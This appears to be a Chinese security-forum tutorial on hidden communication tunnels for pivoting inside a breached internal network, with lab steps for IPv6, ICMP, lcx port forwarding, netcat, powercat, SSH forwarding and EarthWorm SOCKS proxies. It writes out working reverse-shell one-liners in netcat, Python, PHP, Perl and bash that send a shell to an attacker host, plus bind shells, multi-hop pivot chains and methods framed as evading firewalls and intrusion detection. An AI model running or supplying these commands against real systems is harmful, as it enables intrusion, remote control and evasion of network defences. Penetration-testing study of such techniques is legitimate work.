本帖最后由 zhaorong 于 2021-6-23 15:05 编辑
前言
何为隐藏通信隧道技术?
意义
当我们成功杀入内网并完成信息收集后,下一步要进行的就是判断内网的连通性 也就是各种各样
的流量包能否出的去 进的来隐藏通信隧道技术通常用于在访问受限的内网环境中完成内网之内内
网与公网之间安全、稳定的数据传输。
简介
在最简单的情况下 两台主机之间数据的交换建立在TCP/IP协议之上 也就是说知道了IP
建立了TCP连接,那么两台主机便可以进行数据传输。
但在大多数情况下 内网的环境存在多种边界设备以及入侵检测装置的限制 它们会对主机间或者内网与外网之间通
信的流量进行检测,如果存在异常就会进行拦截,这无疑给内网渗透增加了难度 而隐藏通信隧道技术就是为了绕
过各种边界设备的封锁 从而完成主机间或内网与外网之间的通信。
常见隧道
网络层:IPV6隧道ICMP隧道
传输层:TCP隧道 UDP隧道 端口转发
应用层:SSH隧道 HTTP(S)隧道 DNS隧道
接下来将从三种隧道中各选几种进行试验
网络层
1.IPV6隧道
工具:6tunnel(kali自带)
目标机:winserver 2008
攻击机:kali
首先开启目标机上的IPV6 实战中这一步一般由渗透测试人员上传的软件开启
查看目标机的IPV6地址
在攻击机中运行
- sudo su
- 6tunnel -4 80 fe80::6090:bbdf:8c09:68d6%eth0 80
复制代码
这条命令的含义就是将目标机的80端口 目标机使用IPV6地址 转发到本机的80端口上(本机使用IPV4地址)
转发成功后,访问本机80端口便可以访问到目标机上正在运行的web服务
2.ICMP隧道
在一般的情况下 如果两台主机要进行通信 必须要开放相应的端口 比如ssh-22端口rdp-3389
端口但如果使用ICMP隧道,则不需要开放任何的端口,所以ICMP隧道十分简单 实用
在渗透测试中 如果防火墙对各种上层协议(HTTP.HTTPS,DNS等)的数据包进行了封锁 那么我们可以尝试
一下网管常常漏掉的ICMP协议包,我们可以将TCP数据包封装到ICMP数据包中,如果防火墙不对ICMP
包进行拦截 那么我们便可以实现对防火墙的突破
工具:icmpsh
下载地址:https://gitee.com/WeiyiGeek/icmpshell.git github下载太慢 就换了个国内的
安装python的impacket类库 以便于对各类协议进行访问
- apt-get install python3-impacket
复制代码
但是笔者这里的安装并不顺利 所以就采用了另一种安装方法:
直接从github上下载源码并运行地址:
如此impacket便安装成功
由于icmpsh要代替系统本身的ping应答 所以要关闭一下系统的
ping应答 否则工具将无法稳定运行
- sysctl -w net.ipv4.icmp_echo_ignore_all=1
复制代码
进入目录后运行
依次输入攻击机IP和受害机IP便会自动输出需要在受害机上运行的命令
在受害机运行
在攻击机上便可以见到回弹shell
工具:pingtunnel
本次测试网络拓扑图:
测试环境:攻击机可以访问web服务器 不能访问数据库服务器
web服务器只能通过ICMP协议访问数据库服务器
渗透目标:利用工具使攻击机可以访问数据库服务器的3389
首先要安装工具
- wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
- tar -xzvf PingTunnel-0.72.tar.gz
- cd PingTunnel
- make && make install
复制代码
如果报pcap.h缺失:
- wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
- tar zxvf libpcap-1.9.0.tar.gz
- cd libpcap-1.9.0
- ./configure
复制代码
最后一步过程中又会报Neither flex nor lex was found的错误:
- apt-get install flex bison
复制代码
继续执行:
- ./configure
- make
- sudo make install
复制代码
回到pingtunnel目录重新执行
攻击机工具安装完成
接下来还要在web服务器上安装工具 安装过程类似不多赘述
在web服务器运行命令
这条命令便是在web服务器上开启一个密码为haixian的icmp隧道
接下来在攻击机上执行
- ptunnel -p 192.168.1.5 -lp 1080 -da 192.168.1.2 -dp 3389 -x haixian
复制代码
这条命令的意思是 当访问攻击机的1080端口时 数据库服务器3389端口的数据便会以web服务器为中
转通过刚刚搭建好的以haixian为密码的ICMP隧道传送到攻击机的1080端口上
接下来访问本机的1080端口便可以连接到数据库服务器的远程桌面了(3389)
同理 我们可以连接数据库服务器的SSH(22端口)或者数据库服务如果是mysql的话为3306端口这里不再赘述
传输层
1.端口转发
工具:lcx
下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
lcx是一个非常经典的端口转发工具,在linux或者windows中均可使用 lcx的原理就是搭建Socket隧道一个正常的
Socket隧道必须具备两端:客户端 服务端 服务端开启监听端口 客户端传入服务端的IP与端口 主动与服务端连接
在受害机上执行
- lcx.exe -slave 192.168.1.4(攻击机IP) 4444 127.0.0.1 3389
复制代码
这条命令的意思就是将本机的3389端口转发到攻击机的4444端口上
之后在攻击机上执行
- /portmap -m 2 -p1 4444 -h2 192.168.1.4 -p2 5555
复制代码
这条命令的意思就是将本地4444端口接收的数据转发到5555端口
在攻击机访问本机5555端口
可见成功访问受害机远程桌面(3389端口)
2.netcat
kali上会自带这个工具 可以使用
查看netcat的安装情况
netcat部分参数介绍
-p 指定端口-v 显示细节-u 使用UDP传输协议-l 监听模式-w 设置超时时间
Banner抓取
这是一种在特定端口检索关于特定服务信息的技术 在渗透测试中常用于信息收集或者寻找漏洞
现在我们尝试抓取winserver 2008(192.168.1.2)3389端口的相关信息
使用
尝试连接3389
端口扫描
扫描80端口
可以看到目标主机的80端口是开启的
获得shell
(1).正向shell
即攻击机主动去连接受害机 正向连接使用频率较少 因为这种shell很容易被各种边界设备所拦截
在受害机中执行
这条命令的意思是把/bin/sh发送给请求本机4444端口的终端
在攻击机上执行
去主动连接受害机的4444端口
在攻击机上使用ifconfig查看IP发现已经是受害机的IP
(2).反向shell
即受害及主动来连接攻击机 这种方法在渗透测试中更为常用因为它可以突破许多边界设备的封锁
在攻击机上执行
开始监听本机5555端口
接下来在受害机中执行
- nc 192.168.1.4 5555 -e /bin/sh
复制代码
这条命令的意思就是去主动连接攻击机的5555端口并把/bin/sh传送给5555端口
可以看到在攻击机上已经收到了受害机的shell
但这个实验是建立在受害机已经安装netcat这个工具了
而实际情况下如果没有安装应该怎么办呢?
1.使用python反弹shell
执行如下命令 在攻击机上监听本地1234端口
在受害机中执行
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket
- .SOCK_STREAM);s.connect(("攻击机IP",攻击机监听的端口));os.dup2(s.fileno(),0); o
- s.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
复制代码
攻击机上收到回弹shell
但是这种方法又建立在受害及上存在python环境的情况下
如果受害机上没有python环境怎么办呢?
2.php反弹shell
如果没有python环境 但受害机上存在php环境 那么也可以利用php反弹shell
执行如下命令 在攻击机上监听本地2021端口
在受害机上执行
- php -r '$sock=fsockopen("攻击机ip",攻击机监听的端口);exec("/bin/bash -i <&3 >&3 2>&3");'
复制代码
可以看到在攻击机上以及收到了反弹shell
那如果在受害机上既没有python环境又没有php环境该怎么办呢?
3.perl反弹shell
如果目标机器上使用的是perl语言 那么我们还可以使用perl反弹shell
攻击机本地监听4321端口
受害机执行
- perl -e 'use Socket;$i="攻击机ip";$p=攻击机监听端口;socket(S,PF_INET,SOCK_STREA
- M,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN
- ,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
复制代码
可以在攻击机上收到反弹shell
4.bash反弹shell
那么如果在受害机上以上三种语言环境都不存在怎么办呢?
执行如下命令 在攻击机上监听6666端口
在受害机中执行
- bash -i >& /dev/tcp/192.168.1.4/6666 0>&1
复制代码
将受害机上的输入与输出以TCP流的形式重定向到攻击机的6666端口
可以看到在攻击机上收到了受害机的反弹shell
5.内网代理实验
本次实验工具:web服务器(kali) 数据库服务器win server 2008攻击机(kali)
本次实验网络拓扑图:
实验条件:攻击机可以访问到web服务器 但访问不到数据库服务器 web服务器可以访问攻击机 也可以访问
数据库服务器,攻击机无法直接访问数据库服务器 通过前期渗透已经取得了web服务器的权限
首先在攻击机上执行命令监听本机9999端口
然后在数据库服务器中执行
- nc -lvp 9999 -e c:\windows\system32\cmd.exe
复制代码
将本机的cmd.exe传送到请求9999端口的主机
最后在web服务器(跳板机)中执行
- nc -v 192.168.1.4 9999 -c "nc -v 192.168.1.2 9999"
复制代码
这条命令的意思就是web服务器先去连接攻击机 连上之后立刻去连接数据库服务器的9999
端口连接成功后把两个隧道合并为一条隧道(请自行脑补~
可见在攻击机中收到了来自数据包库服务器的反弹shell
3.Powercat
工具下载地址:https://github.com/besimorhino/powercat
工具下载后需要导入powercat.ps1脚本后才可以正常使用powercat
执行
- Import-Module .\powercat.ps1
复制代码
导入脚本 有可能会报权限不够 需要修改权限
执行
- Set-ExecutionPolicy RemoteSigned
复制代码
然后就可以导入脚本了
如图所示 接下来就可以正常的使用powercat了
powercat部分参数介绍
-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
-l 监听模式
-e 程序重定向
通过nc正向连接powercat
在win server 2008中执行
- powercat -l -p 8888 -e cmd.exe -v
复制代码
这条命令的意思是把cmd.exe数据包发送给请求本机8888端口的主机
在攻击机中执行
可以看到已经接收到了win server2008 的shell
使用nc反向连接powercat
在攻击机中执行
开启监听本机5678端口
接下来在win server2008执行
- powercat -c 192.168.1.4 -p 5678 -v -e cmd.exe
复制代码
主动去连接攻击机
可以看到在攻击机中收到了反弹shell
powercat之间互相连接反弹powershell
首先在win server 2008上执行
监听本机3333端口
接下来在WIN7上执行
- powercat -c 192.168.1.2 -p 3333 -v -ep
复制代码
可以看到在win server 2008上已经收到了来自WIN7的powershell
应用层
1.SSH
几乎所有的unix/linux主机都支持SSH协议 都可以通过SSH通信而在现实情况中 网管员经常会使用SSH
连接来远程管理内网中的主机,所以一般情况下 边界设备并不会拦截SSH流量,加之SSH流量是加密的
一般的入侵检测工具很难检测出SSH流量的异常 所以渗透测试人员往往能通过SSH建立起一些其他隧道
难以建立的TCP通信隧道
SSH常见参数
-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口
(1).本地转发
本次实验网络拓扑图:
实验环境:攻击机无法访问数据库服务器 可以访问web服务器且已获得web服务器的权限
web服务器和数据库服务器可以互相访问
实验目标:通过本地端口转发 访问攻击机本地的2021端口便可以打开数据库服务器的远程桌面
首先在攻击机上执行
- ssh -CfNg -L 2021:192.168.1.2:3389 root@192.168.1.5
复制代码
这条命令的意思就是攻击机去连接web服务器 连上之后由web服务器去连接数据
库服务器的3389端口并把数据通过SSH通道传给攻击机
会提示输入web服务器的密码 输入密码
由于我们选择的是静默模式 所以可以本地查看一下2021端口是否被监
听来检查通道的建立是否正常
- netstat -tulnp | grep "2021"
复制代码
可以看到2021端口正在被ssh服务监听 证明通道搭建成功
接下来在攻击机访问把本地2021端口即可打开数据库服务器的远程桌面
(2).远程转发
本次实验网络拓扑图:
实验环境:
攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限 web服务器
和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机
实验目标:通过访问攻击机本机的7890端口来访问数据库服务器的3389端口
在web服务器上执行
- ssh -CfNg -R 7890:192.168.1.2:3389 root@192.168.1.4
复制代码
输入攻击机的密码
在攻击机访问本地7890端口
(3).动态转发
本次实验网络拓扑图:
在攻击机上执行
- ssh -CfNg -D 6000 root@192.168.1.5
复制代码
此条命令搭建了一个动态的SOCKS代理通道
输入web服务器密码后执行
- netstat -tulnp | grep ":6000"
复制代码
查看连接情况
连接成功
例:在本地浏览器设置好SOCKS代理后可以访问到数据库服务器上开放的web服务
2.HTTP/HTTPS隧道
这种隧道笔者已经在文章https://www.freebuf.com/articles/web/262820.html中已经讲解,这里不多赘述
3.SOCKS代理
SOCKS可以简单的把两个系统连接到一起 SOCKS支持多种协议 可以理解为升级版的lcx
常见工具:EarthWorm SocksCap64 ProxyChains
(1).EW
工具下载地址:https://github.com/rootkiter/EarthWorm
正向代理
攻击机本地执行
这种连接方式是攻击机主动去找受害机 所以这里的受害机需要具
有公网IP(攻击机可以直接去访问受害机)
反向代理
本次实验网络拓扑图:
首先在攻击机上执行
- ./ew_for_linux64 -s rssocks -l 1080 -e 1234
复制代码
在本地添加转接隧道,将1080收到的数据转发给1234端口
在web服务器上执行
- ew.exe -s rssocks -d 192.168.1.4 -e 1234
复制代码
可在攻击机上收到回显
至此,socks代理隧道搭建成功 攻击机便可以通过此隧道访问受害机任意服务(服务开启)
二级网络环境试验1:
本次实验网络拓扑图:
实验环境
web服务器可以访问外网和数据库服务器 数据库服务器不能访问外网,只能访问内网资源
实验目标:通过访问攻击机本地端口访问架设在数据库服务器上的SOCKS隧道从而访问内网资源
首先在主机上执行
- ./ew_for_linux64 -s ssocksd -l 888
复制代码
启动888端口的SOCKS代理
然后在web服务器中执行
- ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.1.4 -g 888
复制代码
使web服务器去主动连接攻击机和数据库服务器
接下来就可以通过访问攻击机的1080端口去使用搭建好的SOCKS隧道了
二级网络环境试验2:
本次实验网络拓扑图:
实验环境:
A主机没有公网IP但可以访问公网 不可以访问内网,B主机可以访问内网 不能访问外网
实验目标:
通过访问攻击机上的10800端口来访问B主机上的SOCKS隧道,从而访问内网资源
首先在攻击机上执行
- ./ew_for_linux64 -s lcx_listen -l 10800 -e 888
复制代码
添加转接隧道 将10800端口收到的代理请求转发到888端口
下面在B主机中执行
- ew_for_Win.exe -s ssocksd -l 999
复制代码
开启999端口的SOCKS代理
最后 在A主机中执行
- ./ew_for_linux64 -s lcx_slave -d 192.168.1.4 -e 888 -f 192.168.1.2 -g 999
复制代码
利用slave方式 将攻击机的888端口与B主机的999端口连接
可以在攻击机上看到隧道搭建成功提示
接下来可以使用SocksCap64等代理工具对socks隧道进行利用 方法较为简单这里不再赘述
写在后面
这篇文章比较长 感谢读到最后的你~ |